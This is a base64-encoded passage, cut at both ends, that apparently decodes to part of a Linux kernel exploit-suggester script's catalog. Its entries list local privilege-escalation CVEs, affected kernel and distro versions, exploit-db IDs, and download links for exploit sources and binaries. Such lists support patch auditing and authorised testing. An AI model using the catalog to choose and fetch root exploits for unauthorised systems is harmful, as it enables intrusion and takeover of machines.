CR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NDM2LnRnegpleHBsb2l0LWRiOiA5NDM2CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NjQxLnRhci5negpleHBsb2l0LWRiOiA5NjQxCkNvbW1lbnRzOiAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBuZWVkcyB0byBlcXVhbCAwIE9SIHB1bHNlYXVkaW8gbmVlZHMgdG8gYmUgaW5zdGFsbGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5MixDVkUtMjAwOS0xODk1XSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChwcGMpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiB1YnVudHU9OC4xMCxSSEVMPTR8NQpSYW5rOiAxCmV4cGxvaXQtZGI6IDk1NDUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSB0aGUgcmViZWwgKHVkcF9zZW5kbXNnKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkKVGFnczogZGViaWFuPTQKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NTc0LnRnegpleHBsb2l0LWRiOiA5NTc0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogc3BlbmRlcgpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMCBPUiBwdWxzZWF1ZGlvIG5lZWRzIHRvIGJlIGluc3RhbGxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGhvYWdpZV91ZHBfc2VuZG1zZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGRlYmlhbj00ClJhbms6IDEKZXhwbG9pdC1kYjogOTU3NQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IGFuZGkKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGthdG9uICh1ZHBfc2VuZG1zZykKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xLHZlcjw9Mi42LjE5LHg4NgpUYWdzOiBkZWJpYW49NApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9LYWJvdC9Vbml4LVByaXZpbGVnZS1Fc2NhbGF0aW9uLUV4cGxvaXRzLVBhY2svcmF3L21hc3Rlci8yMDA5L0NWRS0yMDA5LTI2OTgva2F0b24uYwphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IFZ4SGVsbCBMYWJzCkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSBpcF9hcHBlbmRfZGF0YQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGZlZG9yYT00fDV8NixSSEVMPTQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbApleHBsb2l0LWRiOiA5NTQyCmF1dGhvcjogcDBjNzNuMQpDb21tZW50czogV29ya3MgZm9yIHN5c3RlbXMgd2l0aCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBlcXVhbCB0byAwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMzU0N10ke3R4dHJzdH0gcGlwZS5jIDEKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMzMzMjEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0zNTQ3XSR7dHh0cnN0fSBwaXBlLmMgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAzMzMyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTM1NDddJHt0eHRyc3R9IHBpcGUuYyAzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDEwMDE4CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzMwMV0ke3R4dHJzdH0gcHRyYWNlX2ttb2QyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjYsdmVyPD0yLjYuMzQKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMnwzM3wzNHwzNSktKDF8Mnx0cnVuayktYW1kNjR9LHVidW50dT0oMTAuMDR8MTAuMTApe2tlcm5lbDoyLjYuKDMyfDM1KS0oMTl8MjF8MjQpLXNlcnZlcn0KUmFuazogMQpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42Lngva21vZDIKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L3B0cmFjZS1rbW9kCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjY0MS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3B0cmFjZV9rbW9kMi02NApleHBsb2l0LWRiOiAxNTAyMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTExNDZdJHt0eHRyc3R9IHJlaXNlcmZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD0yLjYuMzQKVGFnczogdWJ1bnR1PTkuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vam9uLm9iZXJoZWlkZS5vcmcvYmxvZy8yMDEwLzA0LzEwL3JlaXNlcmZzLXJlaXNlcmZzX3ByaXYtdnVsbmVyYWJpbGl0eS8Kc3JjLXVybDogaHR0cHM6Ly9qb24ub2JlcmhlaWRlLm9yZy9maWxlcy90ZWFtLWVkd2FyZC5weQpleHBsb2l0LWRiOiAxMjEzMApjb21tZW50czogUmVxdWlyZXMgYSBSZWlzZXJGUyBmaWxlc3lzdGVtIG1vdW50ZWQgd2l0aCBleHRlbmRlZCBhdHRyaWJ1dGVzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMjk1OV0ke3R4dHJzdH0gY2FuX2JjbQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE4LHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyLTI0LWdlbmVyaWN9ClJhbms6IDEKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvY2FuX2JjbQpleHBsb2l0LWRiOiAxNDgxNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTM5MDRdJHt0eHRyc3R9IHJkcwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMwLHZlcjwyLjYuMzcKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMXwzMnwzNHwzNSktKDF8dHJ1bmspLWFtZDY0fSx1YnVudHU9MTAuMTB8OS4xMCxmZWRvcmE9MTN7a2VybmVsOjIuNi4zMy4zLTg1LmZjMTMuaTY4Ni5QQUV9LHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyLSgyMXwyNCktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYXJjaGl2ZS8xLzUxNDM3OQpzcmMtdXJsOiBodHRwOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDEwMTAyMDA0NDA0OC9odHRwOi8vd3d3LnZzZWN1cml0eS5jb20vZG93bmxvYWQvdG9vbHMvbGludXgtcmRzLWV4cGxvaXQuYwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9yZHMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcmRzNjQKZXhwbG9pdC1kYjogMTUyODUKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zODQ4LENWRS0yMDEwLTM4NTAsQ1ZFLTIwMTAtNDA3M10ke3R4dHJzdH0gaGFsZl9uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oMTAuMDR8OS4xMCl7a2VybmVsOjIuNi4oMzF8MzIpLSgxNHwyMSktc2VydmVyfQpSYW5rOiAxCmJpbi11cmw6IGh0dHA6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvaGFsZi1uZWxzb24zCmV4cGxvaXQtZGI6IDE3Nzg3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bTi9BXSR7dHh0cnN0fSBjYXBzX3RvX3Jvb3QKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zNCx2ZXI8PTIuNi4zNix4ODYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtOL0FdJHt0eHRyc3R9IGNhcHNfdG9fcm9vdCAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzQsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MzQ3XSR7dHh0cnN0fSBhbWVyaWNhbi1zaWduLWxhbmd1YWdlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zNgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE1Nzc0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzQzN10ke3R4dHJzdH0gcGt0Y2R2ZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjA0ClJhbms6IDEKZXhwbG9pdC1kYjogMTUxNTAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zMDgxXSR7dHh0cnN0fSB2aWRlbzRsaW51eApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzMKVGFnczogUkhFTD01ClJhbms6IDEKZXhwbG9pdC1kYjogMTUwMjQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2XSR7dHh0cnN0fSBtZW1vZGlwcGVyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTMuMS4wClRhZ3M6IHVidW50dT0oMTAuMDR8MTEuMTApe2tlcm5lbDozLjAuMC0xMi0oZ2VuZXJpY3xzZXJ2ZXIpfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXQuengyYzQuY29tL0NWRS0yMDEyLTAwNTYvYWJvdXQvCnNyYy11cmw6IGh0dHBzOi8vZ2l0Lnp4MmM0LmNvbS9DVkUtMjAxMi0wMDU2L3BsYWluL21lbXBvZGlwcGVyLmMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvbWVtb2RpcHBlcgpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9tZW1vZGlwcGVyNjQKZXhwbG9pdC1kYjogMTg0MTEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2LENWRS0yMDEwLTM4NDksQ1ZFLTIwMTAtMzg1MF0ke3R4dHJzdH0gZnVsbC1uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oOS4xMHwxMC4xMCl7a2VybmVsOjIuNi4oMzF8MzUpLSgxNHwxOSktKHNlcnZlcnxnZW5lcmljKX0sdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItKDIxfDI0KS1zZXJ2ZXJ9ClJhbms6IDEKc3JjLXVybDogaHR0cDovL3Z1bG5mYWN0b3J5Lm9yZy9leHBsb2l0cy9mdWxsLW5lbHNvbi5jCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uNjQKZXhwbG9pdC1kYjogMTU3MDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0xODU4XSR7dHh0cnN0fSBDTE9ORV9ORVdVU0VSfENMT05FX0ZTClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPTMuOCxDT05GSUdfVVNFUl9OUz15ClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHA6Ly9zdGVhbHRoLm9wZW53YWxsLm5ldC94U3BvcnRzL2Nsb3duLW5ld3VzZXIuYwphbmFseXNpcy11cmw6IGh0dHBzOi8vbHduLm5ldC9BcnRpY2xlcy81NDMyNzMvCmV4cGxvaXQtZGI6IDM4MzkwCmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQgCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45LHg4Nl82NApUYWdzOiBSSEVMPTYsdWJ1bnR1PTEyLjA0e2tlcm5lbDozLjIuMC0oMjN8MjkpLWdlbmVyaWN9LGZlZG9yYT0xNntrZXJuZWw6My4xLjAtNy5mYzE2Lng4Nl82NH0sZmVkb3JhPTE3e2tlcm5lbDozLjMuNC01LmZjMTcueDg2XzY0fSxkZWJpYW49N3trZXJuZWw6My4yLjAtNC1hbWQ2NH0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8KYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcGVyZl9zd2V2ZW50CmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3BlcmZfc3dldmVudDY0CmV4cGxvaXQtZGI6IDI2MTMxCmF1dGhvcjogQW5kcmVhICdzb3JibycgQml0dGF1CkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkseDg2XzY0ClRhZ3M6IHVidW50dT0xMi4wNHtrZXJuZWw6My4oMnw1KS4wLSgyM3wyOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8Kc3JjLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2V4cGxvaXRzL3ZuaWtfdjEuYwpleHBsb2l0LWRiOiAzMzU4OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMDI2OF0ke3R4dHJzdH0gbXNyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPDMuNy42ClRhZ3M6IApSYW5rOiAxCmV4cGxvaXQtZGI6IDI3Mjk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMTk1OV0ke3R4dHJzdH0gdXNlcm5zX3Jvb3Rfc3Bsb2l0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My44LjkKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxMy8wNC8yOS8xCmV4cGxvaXQtZGI6IDI1NDUwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gc2VtdGV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45ClRhZ3M6IFJIRUw9NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpleHBsb2l0LWRiOiAyNTQ0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAwMzhdJHt0eHRyc3R9IHRpbWVvdXRwd24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PTEzLjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDMvZXhwbG9pdC1DVkUtMjAxNC0wMDM4LXgzMi1yZWN2bW1zZy1rZXJuZWwtdnVsbmVyYWJsaXR5Lmh0bWwKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvdGltZW91dHB3bjY0CmV4cGxvaXQtZGI6IDMxMzQ2CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3biAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjQuMCx2ZXI8PTMuMTMuMSxDT05GSUdfWDg2X1gzMj15ClRhZ3M6IHVidW50dT0oMTMuMDR8MTMuMTApe2tlcm5lbDozLig4fDExKS4wLSgxMnwxNXwxOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApleHBsb2l0LWRiOiAzMTM0NwpDb21tZW50czogQ09ORklHX1g4Nl9YMzIgbmVlZHMgdG8gYmUgZW5hYmxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAxOTZdJHt0eHRyc3R9IHJhd21vZGVQVFkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMSx2ZXI8PTMuMTQuMwpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzA2L2V4cGxvaXQtd2Fsa3Rocm91Z2gtY3ZlLTIwMTQtMDE5Ni1wdHkta2VybmVsLXJhY2UtY29uZGl0aW9uLmh0bWwKZXhwbG9pdC1kYjogMzM1MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0yODUxXSR7dHh0cnN0fSB1c2UtYWZ0ZXItZnJlZSBpbiBwaW5nX2luaXRfc29jaygpICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTQKVGFnczogClJhbms6IDAKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAyMDEyMDE2CmV4cGxvaXQtZGI6IDMyOTI2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDAxNF0ke3R4dHJzdH0gaW5vZGVfY2FwYWJsZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjEzClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDYvMTAvNApleHBsb2l0LWRiOiAzMzgyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ2OTldJHt0eHRyc3R9IHB0cmFjZS9zeXNyZXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My44ClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDcvMDgvMTYKZXhwbG9pdC1kYjogMzQxMzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00OTQzXSR7dHh0cnN0fSBQUFBvTDJUUCAke2JsZGJsdX0oRG9TKSR7dHh0cnN0fQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9My4xNS42ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL3BhZ2U/bj0wMTEwMjAxN